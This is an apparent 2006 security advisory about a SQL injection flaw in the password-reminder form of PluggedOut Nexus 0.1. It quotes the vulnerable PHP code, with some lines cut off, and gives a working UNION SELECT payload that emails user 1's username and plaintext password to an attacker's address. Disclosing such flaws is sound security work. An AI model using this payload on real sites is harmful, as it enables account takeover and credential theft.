PluggedOut Nexus SQL injection Mar 02 2006 01:57PM
h e (het_ebadi yahoo com)
PluggedOut Nexus SQL injection
Nexus is an open source script you can run on your web
server to give you a community based website
where people can register, search each others
interests, and communicate with one another either
through a private messaging system, or via chat
requests and forums.
Project : PluggedOut Nexus
Version : 0.1
Author : Jonathan Beckett
Home : http://www.pluggedout.com

The information has been provided by Hamid Ebadi .
( Hamid Network Security Team): admin[AT]hamid[o]ir
The original article can be found at:

Vulnerable Systems:PluggedOut Nexus 0.1


in this address If you fill the private email address
that you used while creating your account into the
form , the server will send you an email to that
address with your login details
Input passed to the "email" parameter in
"forgotten_password.php" isn't properly sanitised
before being used in a SQL query. This can be
exploited to manipulate SQL queries by injecting
arbitrary SQL code.

in E-Mail Address form enter ' and press Send Request
you will redirect to
http://localhost/Nexus/site_problem.php and see :

Problem with Nexus website
A problem has occurred with the Nexus website - this
was not your fault, and the administrators probably
already know about it.

Vulnerable Code: The following lines in
"forgotten_password.php" :
if ($_POST["submit"]!=""){
$con = db_connect();
$sql = "SELECT cUsername,cPassword,cEMailPrivate FROM
nexus_users WHERE
$result = mysql_query($sql,$con);
if ($result!=false){
if (mysql_num_rows($result)>0){
$row = mysql_fetch_array($result);
$from = $site_admin_email;
$to = $row["cEMailPrivate"];
$subject = "Reminder Username/Password from
$body = "This email has been sent following a
request for a reminder username/password in the
".$site_long_name." website.\n\n"
."Your account details are as follows;\n"
." Username : ".$row["cUsername"]."\n"
." Password : ".$row["cPassword"]."\n\n"
."If you did not request this reminder message,
please contact the ".$site_long_name." administrator




insert this code in E-Mail Address form
(http://localhost/Nexus/forgotten_password.php) :
hamidnetworksecurityteam' union select
cUsername,cPassword,'ATTACKER (at) EMAIL (dot) ADDR [email concealed]ESS' from
nexus_users WHERE nUserId=1 and '1'='1

and ATTACKER (at) EMAIL (dot) ADDR [email concealed]ESS recieve email contain
username & password for userID=1 .


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